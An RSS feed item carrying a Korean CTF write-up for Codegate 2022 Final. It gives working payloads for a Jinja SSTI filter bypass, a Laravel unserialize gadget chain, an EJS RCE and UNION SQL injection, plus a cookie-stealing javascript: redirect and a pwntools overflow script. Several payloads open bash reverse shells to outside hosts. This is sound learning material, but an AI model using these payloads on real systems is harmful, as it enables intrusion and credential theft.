<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>ash3r &amp;amp; dmawhwhd</title>
    <link>https://dmawhwhd.tistory.com/</link>
    <description>Ash3r &amp;amp; dmawhwhd's Blog</description>
    <language>ko</language>
    <pubDate>Sat, 18 Jul 2026 04:54:02 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>ash3r &amp;amp; dmawhwhd</managingEditor>
    <image>
      <title>ash3r &amp;amp; dmawhwhd</title>
      <url>https://tistory1.daumcdn.net/tistory/4102887/attach/d09d0076b09d4c1987f70e69c78a6483</url>
      <link>https://dmawhwhd.tistory.com</link>
    </image>
    <item>
      <title>Codeagate 2022 Final writeup</title>
      <link>https://dmawhwhd.tistory.com/9</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Web&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. Calc.&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1667959087154&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from flask import Flask, render_template, render_template_string, request
import re
app = Flask (__name__)

@app.route('/')
def calc():
    expression = request.args.get('expression')
    filters = [&quot;'&quot;,&quot;\&quot;&quot;,&quot;_&quot;,&quot;[&quot;,&quot;]&quot;,&quot;,&quot;,&quot;`&quot;,&quot;sys&quot;,&quot;os&quot;,&quot;flag&quot;,&quot;%&quot;,&quot;class&quot;,&quot;config&quot;,&quot;self&quot;,&quot;\\&quot;]
    request.args = None
    try:
        for filter in filters:
            if filter in expression:
                raise Exception(&quot;filterd&quot;)
        result = render_template_string(f&quot;{{{{{expression}}}}}&quot;)
    except Exception as e:
        result = &quot;&quot;
    return render_template('index.html', result=result)

if __name__ == &quot;__main__&quot;:
    app.run(host='0.0.0.0', port='5000', debug=False)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;filtering이 많이 걸려있는 ssti 문제입니다. 하지만 ., |, (, ), 모두 필터링이 안 걸려있기에 쉽게 우회할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1667959512578&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;API &amp;mdash; Flask Documentation (2.2.x)&quot; data-og-description=&quot;view_func (Optional[Union[Callable[[...], Union[Response, str, bytes, List[Any], Mapping[str, Any], Iterator[str], Iterator[bytes], Tuple[Union[Response, str, bytes, List[Any], Mapping[str, Any], Iterator[str], Iterator[bytes]], Union[Headers, Mapping[str,&quot; data-og-host=&quot;flask.palletsprojects.com&quot; data-og-source-url=&quot;https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request&quot; data-og-url=&quot;https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;API &amp;mdash; Flask Documentation (2.2.x)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;view_func (Optional[Union[Callable[[...], Union[Response, str, bytes, List[Any], Mapping[str, Any], Iterator[str], Iterator[bytes], Tuple[Union[Response, str, bytes, List[Any], Mapping[str, Any], Iterator[str], Iterator[bytes]], Union[Headers, Mapping[str,&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;flask.palletsprojects.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flask의 class에는 request라는 class가 있습니다. 이를 통해서 필터링을 우회하여 풀이할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스를 보면 request.args = None이라는 코드가 있기에 args말고 headers를 사용하면 됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1667960747618&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /?expression=request|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(request.headers.d)|attr(request.headers.e)(request.headers.f)(request.headers.g)|attr(request.headers.h)(request.headers.i)|attr(request.headers.j)() HTTP/1.1
Host: 3.36.56.33
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3.36.56.33/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6,zh;q=0.5
a: application
b: __globals__
c: __getitem__
d: __builtins__
e: __getitem__
f: __import__
g: os
h: popen
i: bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/server.sqli.kr/9999 0&amp;gt;&amp;amp;1'
j: read
Connection: close&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1284&quot; data-origin-height=&quot;518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nkOwY/btrQKaLi28C/EY0htdlvFP7KiFQIiNkJs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nkOwY/btrQKaLi28C/EY0htdlvFP7KiFQIiNkJs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nkOwY/btrQKaLi28C/EY0htdlvFP7KiFQIiNkJs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnkOwY%2FbtrQKaLi28C%2FEY0htdlvFP7KiFQIiNkJs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1284&quot; height=&quot;518&quot; data-origin-width=&quot;1284&quot; data-origin-height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag: codegate2022{jinja_template_vs_iginja_template_l0l}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Larachain&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 description을 보자마자 laravel의 unserialize 취약점이 있었다는 것이 기억났습니다. 검색해보니 문제와 같은 코드의 실습 블로그가 있었고 이를 이용하여 풀이했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hackyboiz.github.io/2022/05/22/syru/cve-2022-30778/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://hackyboiz.github.io/2022/05/22/syru/cve-2022-30778/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1667960983332&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;hackyboiz&quot; data-og-description=&quot;hack &amp;amp; life&quot; data-og-host=&quot;hackyboiz.github.io&quot; data-og-source-url=&quot;https://hackyboiz.github.io/2022/05/22/syru/cve-2022-30778/&quot; data-og-url=&quot;https://hackyboiz.github.io/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bvVGpF/hyQvl7eLng/5z55QKJvNcxtYKb6rrtxW0/img.png?width=960&amp;amp;height=800&amp;amp;face=0_0_960_800&quot;&gt;&lt;a href=&quot;https://hackyboiz.github.io/2022/05/22/syru/cve-2022-30778/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://hackyboiz.github.io/2022/05/22/syru/cve-2022-30778/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bvVGpF/hyQvl7eLng/5z55QKJvNcxtYKb6rrtxW0/img.png?width=960&amp;amp;height=800&amp;amp;face=0_0_960_800');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;hackyboiz&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;hack &amp;amp; life&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;hackyboiz.github.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1667961012721&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
namespace Illuminate\Contracts\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this-&amp;gt;queueResolver = &quot;system&quot;;

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct()
        {

        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct()
        {
            $this-&amp;gt;event = new BroadcastEvent();
            $this-&amp;gt;event-&amp;gt;connection = &quot;cat ../flag.txt&quot;;
            $this-&amp;gt;events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
namespace{
    $a = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($a));
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;820&quot; data-origin-height=&quot;180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZhGPE/btrQI6JTbZ8/4baLsKkOsv6bCkoyRiCaiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZhGPE/btrQI6JTbZ8/4baLsKkOsv6bCkoyRiCaiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZhGPE/btrQI6JTbZ8/4baLsKkOsv6bCkoyRiCaiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZhGPE%2FbtrQI6JTbZ8%2F4baLsKkOsv6bCkoyRiCaiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;820&quot; height=&quot;180&quot; data-origin-width=&quot;820&quot; data-origin-height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag: &lt;span style=&quot;color: #000000;&quot;&gt;codegate2022{living_point:unserialize_1s_d4nger0us}&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. Welcome&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1667961360009&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const app = express();
const IP = '0.0.0.0'
const PORT = 9999

app.use(session({secret: 'secrt',saveUninitialized: true,resave: true}));
app.use(express.static('public'))
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.set('view engine', 'ejs')


var sess;

app.get('/login',(req,res) =&amp;gt; {
	res.render('login', {error: &quot;&quot;});
});

app.post('/login',(req,res) =&amp;gt; {
	data = req.body.nickname;
    sess = req.session;
	sess.grant = &quot;guest&quot;
	if(data == null){	
		data = {nickname:&quot;guest&quot;};
	}  else if(typeof(data) == &quot;string&quot;){		
		data = {nickname:data};
	}
	var reg = /^[a-z]+$/i;
	if(reg.test(data.nickname)){
		Object.entries(data).forEach(([key, value]) =&amp;gt; {
			sess[key] = value;
		});
		res.redirect('/');
	} else{
		res.render('login', { error: &quot;Nickname should not contain any special characters&quot; })
	}
});

app.get('/', (req,res) =&amp;gt; {
	sess = req.session;
	if(!sess.nickname){
		res.redirect('/login');	
	}else if(sess.grant == &quot;admin&quot;){
		res.render('admin', sess)
	}else{
		res.render('home')
	}
});


app.get('/logout',(req,res) =&amp;gt; {
    req.session.destroy((err) =&amp;gt; {
        if(err) {
            return console.log(err);
        }
        res.redirect('/login');
    });

});


app.listen(PORT, IP);&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1667962201808&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;app&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;description&quot;: &quot;&quot;,
  &quot;author&quot;: &quot;&quot;,
  &quot;main&quot;: &quot;app.js&quot;,
  &quot;scripts&quot;: {
    &quot;start&quot;: &quot;node app.js&quot;
  },
  &quot;dependencies&quot;: {
    &quot;ejs&quot;: &quot;^3.1.6&quot;,
    &quot;express-session&quot;: &quot;^1.17.3&quot;,
    &quot;express&quot;: &quot;^4.18.1&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ejs 버전이 취약한 버전인 것을 알 수 있었습니다. cve-2022-29078을 이용하여 rce를 발생시키면 된다고 생각했습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1667962595932&quot; class=&quot;coffeescript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.get('/', (req,res) =&amp;gt; {
	sess = req.session;
	if(!sess.nickname){
		res.redirect('/login');	
	}else if(sess.grant == &quot;admin&quot;){
		res.render('admin', sess)
	}else{
		res.render('home')
	}
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rce를 발생시키려면 sess.grant가 admin이어야 하고 res.render('admin', sess) 이고 sess에&lt;/p&gt;
&lt;pre id=&quot;code_1667962536484&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync(&quot;/bin/bash -c 'bash -i &amp;gt;%26 /dev/tcp/127.0.0.1/1337 0&amp;gt;%261'&quot;);s&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 data가 들어있으면 rce가 발생하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 만족시키기 위해서는 session에 원하는 구조로 data를 넣어줘야합니다. urlencoded, json 모두 받기에 nickname에 object를 입력할 수 있습니다. object를 입력하게 되면&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1667962296883&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(data == null){	
		data = {nickname:&quot;guest&quot;};
	}  else if(typeof(data) == &quot;string&quot;){		
		data = {nickname:data};
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음의 필터링을 우회할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1667962332290&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;var reg = /^[a-z]+$/i;
if(reg.test(data.nickname)){
	Object.entries(data).forEach(([key, value]) =&amp;gt; {
		sess[key] = value;
	});
	res.redirect('/');
} else{
	res.render('login', { error: &quot;Nickname should not contain any special characters&quot; })
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규식에서는 위의 필터링을 통해서 data에 object를 넣어주는 데 이를 object로 넣어주면서 우회해줬기에 nickname에는 정규식에 어긋나지 않는 string을 넣어주면 됩니다. 그렇다면 object.entries(data).forEach(([key, value]) =&amp;gt; {sess[key] = value;});를 실행해줍니다. 이는 sess에 data object를 복사해주는 역할을 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 payload를 통해서 최종적으로 rce 발생시킬 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1668127994286&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nickname[nickname]=asdf&amp;amp;nickname[grant]=admin&amp;amp;nickname[settings][view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync(&quot;/bin/bash%20-c%20'bash%20-i%20&amp;gt;%26%20/dev/tcp/localhost/8888%200&amp;gt;%261'&quot;);s&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;944&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E6nfT/btrQTkaqRJf/a7ykk2gLE2hbqGT8HVUFcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E6nfT/btrQTkaqRJf/a7ykk2gLE2hbqGT8HVUFcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E6nfT/btrQTkaqRJf/a7ykk2gLE2hbqGT8HVUFcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE6nfT%2FbtrQTkaqRJf%2Fa7ykk2gLE2hbqGT8HVUFcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2092&quot; height=&quot;944&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;944&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. &lt;b&gt;Album&lt;/b&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가 닫혀서 제가 기억나는 대로 설명하겠습니다.. ㅠ.ㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;album과 writer를 검색하여 원하는 그림을 출력해주는 사이트였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 생각하는 쿼리는&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where {input1} like '%{input2}%' 으로 작동하는 것 같았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;input2 에서는 sql injection이 발생하지 않았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 input1 에서 1#을 넣었을 때 작동했기에 sql injection이 발생하는 것을 알 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;union이 막혀있었는데 이는 대문자로 우회할 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;information_schema를 이용하여 column과 table 정보를 획득하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;input1 =&amp;gt; 1 union select 1,1,1,flag,1 from flag#을 통하여 flag를 획득했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag: codegate2022{AB424FF5FAB00106CF856E3B9A88849A}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;5. &lt;b&gt;JeanValJean&lt;/b&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제도 서버가 닫혀서 제가 기억나는 대로 설명하겠습니다.. ㅠ.ㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;report하는 부분이 있었습니다. description에 /login?url={input}이라 적혀있어 open redirect인 것을 바로 알 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 로그인하는 부분에서 발생하는데 로그인을 성공하면 url로 이동하는 구조였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 javascript scheme을 사용했는데 잘 작동하기에 이를 이용하여 풀이하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 서버에서는 javascript를 필터링하고 있기에 Javascript로 우회하여 풀이하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Javascript:location.replace('http://server/?c='+document.cookie)를 통하여 쿠키를 가져오고 이를 이용하여 admin이 작성한 글을 읽으면 플래그를 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2476&quot; data-origin-height=&quot;868&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rRbfc/btrQU9SVaAR/dor13GlPJww6qACJ4l5Ia0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rRbfc/btrQU9SVaAR/dor13GlPJww6qACJ4l5Ia0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rRbfc/btrQU9SVaAR/dor13GlPJww6qACJ4l5Ia0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrRbfc%2FbtrQU9SVaAR%2Fdor13GlPJww6qACJ4l5Ia0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2476&quot; height=&quot;868&quot; data-origin-width=&quot;2476&quot; data-origin-height=&quot;868&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여담: /login?url={input} 이라고 적혀있어서 /login부터 넣어줘야 되는 줄 알았습니다.... 이거 때문에 2시간 날렸어요 ㅠㅠㅠㅠㅁㄷㄴㄹㅁ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;pwn&lt;/b&gt;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. simple bof&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;522&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvFc02/btrQ6I74bl3/dWU5exzCIVvFKTck9lxpfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvFc02/btrQ6I74bl3/dWU5exzCIVvFKTck9lxpfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvFc02/btrQ6I74bl3/dWU5exzCIVvFKTck9lxpfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvFc02%2FbtrQ6I74bl3%2FdWU5exzCIVvFKTck9lxpfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;522&quot; height=&quot;360&quot; data-origin-width=&quot;522&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;custom canary가 있습니다. 하지만 flag를 출력해주는 조건문 뒤에 check해주기에 그냥 bof로 변수 덮어주면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1668323416051&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote(&quot;43.201.97.189&quot;,5333)
p.recvuntil(&quot;? &quot;)
p.sendline(&quot;A&quot;*(0x70-4)+p64(0xDEADEACE))

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. chunkychunk&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;625&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RkXbH/btrQ4WlcK7m/SMeXl3XyrZStwvMKMY2Tuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RkXbH/btrQ4WlcK7m/SMeXl3XyrZStwvMKMY2Tuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RkXbH/btrQ4WlcK7m/SMeXl3XyrZStwvMKMY2Tuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRkXbH%2FbtrQ4WlcK7m%2FSMeXl3XyrZStwvMKMY2Tuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;625&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;625&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
